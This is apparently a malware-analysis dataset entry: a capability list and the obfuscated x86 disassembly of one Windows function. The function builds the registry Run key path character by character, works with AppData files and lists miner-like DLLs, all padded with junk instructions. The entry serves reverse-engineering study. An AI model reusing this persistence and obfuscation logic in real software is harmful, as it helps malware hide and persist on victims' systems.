Function at 0x401290
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Delete directory
Delete file
Extract resource via kernel32 functions
Get common file path
Move file
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x39a8
call fcn.00418fd0
push ebx
push esi
mov dword [ebp - 0x1c], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
call fcn.00406a90
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0040ef10
lea ecx, [ebp - 0x19c]
call fcn.004144f0
movzx eax, al
test eax, eax
jne 0x4012f6
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp eax, 1
jne 0x401316
mov dword [ebp - 0x1f4], 0
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x1f4]
jmp 0x406a84
push ebp
mov ebp, 0x2783747f
mov ebp, 0x8641a1c
xor ebp, esi
pop ebp
lea ecx, [ebp - 0xb4]
call fcn.0040f1c0
mov dword [ebp - 0x28], 0
jmp 0x401341
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x401530
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
movzx eax, word [eax]
cmp eax, 0x22
jne 0x401427
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x401422
push 0x41b464
lea ecx, [ebp - 0x760]
call fcn.0040ef10
lea edx, [ebp - 0x760]
push edx
lea ecx, [ebp - 0xb4]
call fcn.004167c0
lea ecx, [ebp - 0x760]
call fcn.0040f670
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x401422
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
movzx ecx, word [eax]
cmp ecx, 0x22
je 0x401422
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
mov ax, word [eax]
movzx ecx, ax
push ecx
lea ecx, [ebp - 0xb4]
call fcn.00413e80
mov ecx, eax
call fcn.00410110
push edx
mov edx, 0x2eac2291
add edx, eax
sbb edx, ebp
add edx, ecx
nop
pop edx
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x4013ba
jmp 0x40152b
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
movzx ecx, word [eax]
cmp ecx, 0x20
je 0x40152b
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x40152b
push 0x41b468
lea ecx, [ebp - 0x778]
call fcn.0040ef10
lea edx, [ebp - 0x778]
push edx
lea ecx, [ebp - 0xb4]
call fcn.004167c0
lea ecx, [ebp - 0x778]
call fcn.0040f670
push ecx
xor ecx, esi
mov ecx, 0x2d0d769e
and ecx, ecx
and ecx, ecx
nop
pop ecx
lea ecx, [ebp - 0x19c]
call fcn.00417e70
cmp dword [ebp - 0x28], eax
jae 0x4014f9
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
movzx ecx, word [eax]
cmp ecx, 0x20
je 0x4014f9
mov edx, dword [ebp - 0x28]
push edx
lea ecx, [ebp - 0x19c]
call fcn.0040fde0
mov ax, word [eax]
movzx ecx, ax
push ecx
lea ecx, [ebp - 0xb4]
call fcn.00413e80
mov ecx, eax
call fcn.00410110
push eax
add eax, ebx
mov eax, 0x6c096ee5
mov eax, 0x24253298
pop eax
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x401491
lea ecx, [ebp - 0xb4]
call fcn.00413e80
mov ecx, eax
call fcn.004144f0
movzx eax, al
test eax, eax
je 0x40152b
lea ecx, [ebp - 0xb4]
call fcn.00416060
push ebx
xor ebx, ebx
mov ebx, 0x7e066f28
mov ebx, 0x15e5dd6
pop ebx
jmp 0x401338
push edi
sbb edi, ecx
or edi, eax
mov edi, 0x3d861c69
and edi, esi
nop
pop edi
lea ecx, [ebp - 0xb4]
call fcn.00417f20
cmp eax, 3
je 0x401579
mov dword [ebp - 0x1f8], 0
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x1f8]
jmp 0x406a84
lea ecx, [ebp - 0x11a8]
push ecx
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x4015a2
push ebx
xor ebx, edi
or ebx, esi
sbb ebx, esi
mov ebx, 0x29e54585
nop
pop ebx
jmp 0x4015d3
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x1fc], 0
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x1fc]
jmp 0x406a84
push esi
mov esi, 0x5e867d28
sbb esi, esp
mov esi, 0x42ed3e04
pop esi
lea ecx, [ebp - 0x288]
call fcn.0040ed50
mov dword [ebp - 0xdc], 1
jmp 0x401607
mov edx, dword [ebp - 0xdc]
add edx, 2
mov dword [ebp - 0xdc], edx
cmp dword [ebp - 0xdc], 0x19
jae 0x40162b
mov eax, dword [ebp - 0xdc]
movzx ecx, byte [eax + section..data]
push ecx
lea ecx, [ebp - 0x288]
call fcn.00410090
jmp 0x4015f8
lea ecx, [ebp - 0x153]
call fcn.0040e460
push eax
lea edx, [ebp - 0x4a4]
push edx
lea ecx, [ebp - 0x288]
call fcn.004145a0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x4a8]
push ecx
lea ecx, [ebp - 0x288]
call fcn.00413eb0
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xb38]
call fcn.0040bbd0
push eax
mov ecx, 0x420408
call fcn.0040fc10
lea ecx, [ebp - 0xb38]
call fcn.0040f670
push 0x41b46c
lea ecx, [ebp - 0x790]
call fcn.0040ec80
lea eax, [ebp - 0x790]
push eax
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x790]
call fcn.0040f630
push 0x41b470
lea ecx, [ebp - 0x7a8]
call fcn.0040ec80
lea ecx, [ebp - 0x7a8]
push ecx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x7a8]
call fcn.0040f630
push eax
mov eax, 0x41ed4bea
mov eax, 0x557b6c81
sub eax, edx
pop eax
push 0x41b474
lea ecx, [ebp - 0x7c0]
call fcn.0040ec80
lea edx, [ebp - 0x7c0]
push edx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x7c0]
call fcn.0040f630
push 0x41b478
lea ecx, [ebp - 0x7d8]
call fcn.0040ec80
lea eax, [ebp - 0x7d8]
push eax
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x7d8]
call fcn.0040f630
push 0x41b47c
lea ecx, [ebp - 0x7f0]
call fcn.0040ec80
lea ecx, [ebp - 0x7f0]
push ecx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x7f0]
call fcn.0040f630
push 0x41b480
lea ecx, [ebp - 0x808]
call fcn.0040ec80
lea edx, [ebp - 0x808]
push edx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x808]
call fcn.0040f630
push edi
or edi, ecx
mov edi, 0x5a904b8a
mov edi, 0x4add3193
pop edi
push 0x41b484
lea ecx, [ebp - 0x820]
call fcn.0040ec80
lea eax, [ebp - 0x820]
push eax
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x820]
call fcn.0040f630
push 0x41b488
lea ecx, [ebp - 0x838]
call fcn.0040ec80
lea ecx, [ebp - 0x838]
push ecx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x838]
call fcn.0040f630
push ecx
add ecx, edi
mov ecx, 0x229b200b
mov ecx, 0x235a355d
pop ecx
push 0x41b48c
lea ecx, [ebp - 0x850]
call fcn.0040ec80
lea edx, [ebp - 0x850]
push edx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x850]
call fcn.0040f630
push 0x41b490
lea ecx, [ebp - 0x868]
call fcn.0040ec80
lea eax, [ebp - 0x868]
push eax
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x868]
call fcn.0040f630
push 0x41b494
lea ecx, [ebp - 0x880]
call fcn.0040ec80
lea ecx, [ebp - 0x880]
push ecx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x880]
call fcn.0040f630
push 0x41b498
lea ecx, [ebp - 0x898]
call fcn.0040ec80
lea edx, [ebp - 0x898]
push edx
mov ecx, 0x420438
call fcn.004164c0
lea ecx, [ebp - 0x898]
call fcn.0040f630
push eax
sbb eax, eax
or eax, esp
sub eax, edi
sbb eax, eax
or eax, ebp
xor eax, esp
pop eax
mov dword [ebp - 0xe0], 0
jmp 0x4018e5
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0xe0], eax
mov ecx, 0x420438
call fcn.00417ef0
cmp dword [ebp - 0xe0], eax
jae 0x401916
push str.data
mov ecx, dword [ebp - 0xe0]
push ecx
mov ecx, 0x420438
call fcn.0040fe40
mov ecx, eax
call fcn.004100b0
jmp 0x4018d6
push ecx
mov ecx, 0xe2520f5
add ecx, ecx
sub ecx, ebp
sub ecx, esi
nop
pop ecx
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xe4], 1
jmp 0x401953
mov edx, dword [ebp - 0xe4]
add edx, 2
mov dword [ebp - 0xe4], edx
cmp dword [ebp - 0xe4], 0x19
jae 0x401977
mov eax, dword [ebp - 0xe4]
movsx ecx, byte [eax + section..data]
add ecx, dword [ebp - 0x120]
mov dword [ebp - 0x120], ecx
jmp 0x401944
mov dword [ebp - 0xe8], 0
jmp 0x401992
mov edx, dword [ebp - 0xe8]
add edx, 1
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0x120]
jge 0x4019b4
mov ecx, dword [ebp - 0x104]
add ecx, dword [ebp - 0xe8]
mov dword [ebp - 0x104], ecx
jmp 0x401983
push ebp
and ebp, esi
mov ebp, 0x6dc4d9c
mov ebp, 0x62946d9f
pop ebp
mov edx, dword [ebp - 0x104]
push edx
lea eax, [ebp - 0x5a8]
push eax
call fcn.00418180
add esp, 8
lea ecx, [ebp - 0x5a8]
push ecx
mov ecx, 0x42045c
call fcn.0040fb80
push edi
mov edi, 0x7147488a
sbb edi, edi
mov edi, 0x4ccc5578
pop edi
push 0
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 1
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 2
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 3
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 4
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push 5
mov ecx, 0x420438
call fcn.0040fe40
push eax
mov ecx, 0x4203fc
call fcn.00416650
push str.msvcr100.
lea ecx, [ebp - 0x8b0]
call fcn.0040ec80
lea edx, [ebp - 0x8b0]
push edx
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x8b0]
call fcn.0040f630
push ebx
and ebx, ebx
xor ebx, ecx
mov ebx, 0x7ba736bf
sbb ebx, esi
nop
pop ebx
push edx
mov edx, 0x4a7659f9
sub edx, ebp
sbb edx, esi
or edx, edx
nop
pop edx
push str.msvcr120.
lea ecx, [ebp - 0x8c8]
call fcn.0040ec80
lea eax, [ebp - 0x8c8]
push eax
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x8c8]
call fcn.0040f630
push ebp
sub ebp, edx
mov ebp, 0x67077fcd
or ebp, ebx
add ebp, esp
nop
pop ebp
push str.msvcp140.
lea ecx, [ebp - 0x8e0]
call fcn.0040ec80
lea ecx, [ebp - 0x8e0]
push ecx
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x8e0]
call fcn.0040f630
push ebp
mov ebp, 0x6f3b1a87
mov ebp, 0x7c994da8
sub ebp, ebx
pop ebp
push str.vcruntime140.
lea ecx, [ebp - 0x8f8]
call fcn.0040ec80
lea edx, [ebp - 0x8f8]
push edx
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x8f8]
call fcn.0040f630
push edi
mov edi, 0xa5b232d
mov edi, 0x65032524
add edi, edx
pop edi
push ebp
mov ebp, 0x47bb37d5
mov ebp, 0xa137389
or ebp, ebx
pop ebp
push str.cudart32_55.
lea ecx, [ebp - 0x910]
call fcn.0040ec80
lea eax, [ebp - 0x910]
push eax
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x910]
call fcn.0040f630
push esi
add esi, edx
or esi, ebx
or esi, ebx
mov esi, 0x13657d9b
nop
pop esi
push ebp
mov ebp, 0x9412e79
sbb ebp, ecx
and ebp, eax
or ebp, ebp
nop
pop ebp
push eax
mov eax, 0x216106d9
mov eax, 0x7ff246c4
add eax, eax
pop eax
push esi
mov esi, 0x4f7c1260
or esi, eax
mov esi, 0x6cc8472e
pop esi
push str.pthreadVC2.
lea ecx, [ebp - 0x928]
call fcn.0040ec80
lea ecx, [ebp - 0x928]
push ecx
mov ecx, 0x4203fc
call fcn.004164c0
lea ecx, [ebp - 0x928]
call fcn.0040f630
push eax
or eax, ebx
add eax, ebp
mov eax, 0x33413d65
add eax, eax
nop
pop eax
push ebx
xor ebx, ebx
xor ebx, esi
mov ebx, 0x23d10973
sub ebx, ecx
nop
pop ebx
push ebx
xor ebx, ecx
mov ebx, 0x3e430943
add ebx, ebx
and ebx, esp
nop
pop ebx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000007f
jns 0x401c51
dec eax
or eax, 0xffffff80
inc eax
add eax, 0xc4
push eax
mov ecx, 0x420420
call fcn.00417470
mov dword [ebp - 4], 0
jmp 0x401c73
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov ecx, 0x420420
call fcn.00417e50
cmp dword [ebp - 4], eax
jae 0x4023a0
cmp dword [ebp - 4], 2
jne 0x401cbe
push edi
xor edi, ebx
or edi, ecx
mov edi, 0xed372f1
add edi, esp
nop
pop edi
push ecx
sub ecx, eax
sub ecx, ebp
sub ecx, edx
mov ecx, 0x225616f1
nop
pop ecx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x53
jmp 0x40239b
cmp dword [ebp - 4], 4
jne 0x401ce8
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x2d
push esi
mov esi, 0x2e244444
sub esi, edi
mov esi, 0x2cbf7904
pop esi
jmp 0x40239b
cmp dword [ebp - 4], 6
jne 0x401d12
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x66
push esi
mov esi, 0x51b505ae
mov esi, 0x382075eb
sbb esi, ebp
pop esi
jmp 0x40239b
cmp dword [ebp - 4], 9
jne 0x401d3c
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x74
push ecx
mov ecx, 0x12e5d64
and ecx, ebp
mov ecx, 0x18712d43
pop ecx
jmp 0x40239b
cmp dword [ebp - 4], 0xc
jne 0x401d66
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x77
push eax
sbb eax, eax
sbb eax, esp
and eax, edx
mov eax, 0x27812d97
nop
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0xe
jne 0x401d90
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x61
push eax
mov eax, 0x181a7078
mov eax, 0x3ec6f26
xor eax, ebp
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0x12
jne 0x401dba
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
push eax
mov eax, 0x15600081
and eax, ebx
mov eax, 0x577f74d0
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0x16
jne 0x401df2
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x65
push eax
sbb eax, ebx
or eax, ecx
or eax, ebp
mov eax, 0x60fb0557
nop
pop eax
push ecx
mov ecx, 0x27f80184
or ecx, eax
sub ecx, ebp
xor ecx, ecx
nop
pop ecx
jmp 0x40239b
cmp dword [ebp - 4], 0x17
jne 0x401e38
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x40
push ebx
sbb ebx, ebp
add ebx, ebx
xor ebx, eax
mov ebx, 0x2e2e3a4d
nop
pop ebx
push eax
mov eax, 0x7bc971d4
add eax, edi
mov eax, 0x61ba57b4
pop eax
push ebp
mov ebp, 0x1ca2667c
mov ebp, 0x61e516d5
sub ebp, esi
pop ebp
jmp 0x40239b
cmp dword [ebp - 4], 0x1b
jne 0x401e62
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x4d
push edx
mov edx, 0x519c28a7
mov edx, 0x632505fc
or edx, esp
pop edx
jmp 0x40239b
cmp dword [ebp - 4], 0x1d
jne 0x401e7e
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x69
jmp 0x40239b
cmp dword [ebp - 4], 0x20
jne 0x401ea8
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x63
push edi
add edi, eax
mov edi, 0x4cc63bbf
sub edi, esi
or edi, esp
nop
pop edi
jmp 0x40239b
cmp dword [ebp - 4], 0x21
jne 0x401ec4
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
jmp 0x40239b
cmp dword [ebp - 4], 0x23
jne 0x401ee0
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x2d
jmp 0x40239b
cmp dword [ebp - 4], 0x26
jne 0x401f0a
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x73
push ebx
sbb ebx, eax
xor ebx, ebx
xor ebx, edi
add ebx, edx
and ebx, edi
xor ebx, edx
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 0x28
jne 0x401f42
push edi
mov edi, 0x661469e
sbb edi, esi
mov edi, 0xbd709f5
pop edi
push ebx
and ebx, ecx
mov ebx, 0x67441ed3
sub ebx, esp
add ebx, ebx
nop
pop ebx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x2d
jmp 0x40239b
cmp dword [ebp - 4], 0x29
jne 0x401f6c
push ebp
sbb ebp, edx
sub ebp, edi
or ebp, esp
mov ebp, 0x39551edb
nop
pop ebp
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x66
jmp 0x40239b
cmp dword [ebp - 4], 0x2a
jne 0x401f96
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x74
push ebx
mov ebx, 0x2b0f2417
sub ebx, eax
sub ebx, ecx
sub ebx, esp
nop
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 0x2f
jne 0x401fc0
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x40
push eax
xor eax, ecx
add eax, edi
mov eax, 0x443d3a34
sbb eax, edi
nop
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0x30
jne 0x401fea
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x57
push ebp
mov ebp, 0xc006f5d
or ebp, ecx
add ebp, edi
and ebp, esp
nop
pop ebp
jmp 0x40239b
cmp dword [ebp - 4], 0x31
jne 0x402014
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x69
push esi
mov esi, 0x58ff7b79
mov esi, 0x168d1df3
xor esi, eax
pop esi
jmp 0x40239b
cmp dword [ebp - 4], 0x32
jne 0x40203e
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6e
push eax
add eax, ebp
mov eax, 0x621f6f45
mov eax, 0x465d58ba
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0x33
jne 0x402068
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x64
push eax
mov eax, 0x5b4857bc
sub eax, edx
mov eax, 0x59db2e01
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0x35
jne 0x402092
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6f
push esi
or esi, esi
mov esi, 0x60454099
mov esi, 0x52c52549
pop esi
jmp 0x40239b
cmp dword [ebp - 4], 0x39
jne 0x4020bc
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x77
push eax
sub eax, eax
mov eax, 0x7a894f69
xor eax, eax
or eax, ebp
nop
pop eax
jmp 0x40239b
cmp dword [ebp - 4], 0x3b
jne 0x4020e6
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x73
push esi
mov esi, 0x7f7f01c7
mov esi, 0x798a67c7
sub esi, esp
pop esi
jmp 0x40239b
cmp dword [ebp - 4], 0x41
jne 0x402110
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x40
push edx
mov edx, 0x6ea16967
sub edx, ecx
mov edx, 0x3ea46255
pop edx
jmp 0x40239b
cmp dword [ebp - 4], 0x46
jne 0x40212c
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x43
jmp 0x40239b
cmp dword [ebp - 4], 0x48
jne 0x402148
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x31
jmp 0x40239b
cmp dword [ebp - 4], 0x4a
jne 0x402172
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
push edi
mov edi, 0x4c313ecb
mov edi, 0x69c769ab
sbb edi, edx
pop edi
jmp 0x40239b
cmp dword [ebp - 4], 0x4b
jne 0x40218e
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
jmp 0x40239b
cmp dword [ebp - 4], 0x4e
jne 0x4021b8
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x65
push ebx
add ebx, eax
mov ebx, 0x538c4337
add ebx, esi
xor ebx, esi
nop
pop ebx
jmp 0x40239b
cmp dword [ebp - 4], 0x52
jne 0x4021e2
push esi
sbb esi, edi
mov esi, 0x7e5b1688
or esi, esp
sub esi, edi
nop
pop esi
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6e
jmp 0x40239b
cmp dword [ebp - 4], 0x54
jne 0x4021fe
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x74
jmp 0x40239b
cmp dword [ebp - 4], 0x56
jne 0x402228
push eax
mov eax, 0x5dd11fed
mov eax, 0x4a7a022c
or eax, ebp
pop eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x56
jmp 0x40239b
cmp dword [ebp - 4], 0x58
jne 0x402244
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x65
jmp 0x40239b
cmp dword [ebp - 4], 0x5a
jne 0x402260
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x72
jmp 0x40239b
cmp dword [ebp - 4], 0x5b
jne 0x402298
push ebp
mov ebp, 0x5fc82bb7
add ebp, ebx
mov ebp, 0xb3d1219
pop ebp
push ebp
mov ebp, 0x7df70f75
mov ebp, 0x28742024
or ebp, edx
pop ebp
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x73
jmp 0x40239b
cmp dword [ebp - 4], 0x5f
jne 0x4022b4
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x69
jmp 0x40239b
cmp dword [ebp - 4], 0x63
jne 0x4022de
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x2d
push edi
mov edi, 0x13b11d0a
sbb edi, esp
add edi, edx
and edi, edx
nop
pop edi
jmp 0x40239b
cmp dword [ebp - 4], 0x64
jne 0x4022fa
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6e
jmp 0x40239b
cmp dword [ebp - 4], 0x66
jne 0x402316
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x40
jmp 0x40239b
cmp dword [ebp - 4], 0x6a
jne 0x40232f
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x52
jmp 0x40239b
cmp dword [ebp - 4], 0x6e
jne 0x402348
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x31
jmp 0x40239b
cmp dword [ebp - 4], 0x6f
jne 0x40236f
push eax
mov eax, 0xeb22f37
and eax, ecx
or eax, edi
or eax, edi
nop
pop eax
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6e
jmp 0x40239b
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], bl
push edx
add edx, esp
mov edx, 0x240f2e8f
mov edx, 0x51ec53f6
pop edx
jmp 0x401c6a
push edx
mov edx, 0x7b413408
sub edx, esp
or edx, esi
and edx, edi
nop
pop edx
push str.request
lea ecx, [ebp - 0x578]
call fcn.0040ec80
push 0x41b5a8
push 0x420420
lea ecx, [ebp - 0xb68]
push ecx
call fcn.0040bf70
add esp, 0xc
push eax
mov ecx, 0x420444
call fcn.0040fa90
lea ecx, [ebp - 0xb68]
call fcn.0040f630
mov dword [ebp - 0x54], 0
jmp 0x4023ff
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov ecx, 0x420420
call fcn.00417e50
cmp dword [ebp - 0x54], eax
jae 0x4024c8
push ecx
mov ecx, 0x3d9d0604
mov ecx, 0x200b5efb
sbb ecx, eax
pop ecx
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x420420
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x2d
jne 0x402457
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x6f
push ebp
sub ebp, ebp
mov ebp, 0x60de1315
mov ebp, 0x5c504299
pop ebp
jmp 0x4024c3
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x420420
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x40
jne 0x40248e
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x5c
push esi
and esi, ebp
mov esi, 0x4a64593f
and esi, eax
sbb esi, eax
nop
pop esi
jmp 0x4024c3
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x420420
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x31
jne 0x4024c3
mov edx, dword [ebp - 0x54]
push edx
mov ecx, 0x420420
call fcn.0040fda0
mov byte [eax], 0x75
push edx
mov edx, 0xc5d2e23
mov edx, 0x106a43fb
sbb edx, ebp
pop edx
jmp 0x4023f6
push esi
mov esi, 0x6c841920
sub esi, ebx
mov esi, 0x2f714044
pop esi
mov dword [ebp - 0xec], 6
jmp 0x4024f1
mov eax, dword [ebp - 0xec]
add eax, 1
mov dword [ebp - 0xec], eax
mov ecx, 0x4203fc
call fcn.00417ef0
cmp dword [ebp - 0xec], eax
jae 0x402522
push 0x41b5b0
mov ecx, dword [ebp - 0xec]
push ecx
mov ecx, 0x4203fc
call fcn.0040fe40
mov ecx, eax
call fcn.004100b0
jmp 0x4024e2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4ac], esp
push 0x42045c
call fcn.0040eb10
push 0x420420
lea edx, [ebp - 0x958]
push edx
call fcn.004075f0
add esp, 0x20
push eax
mov ecx, 0x420420
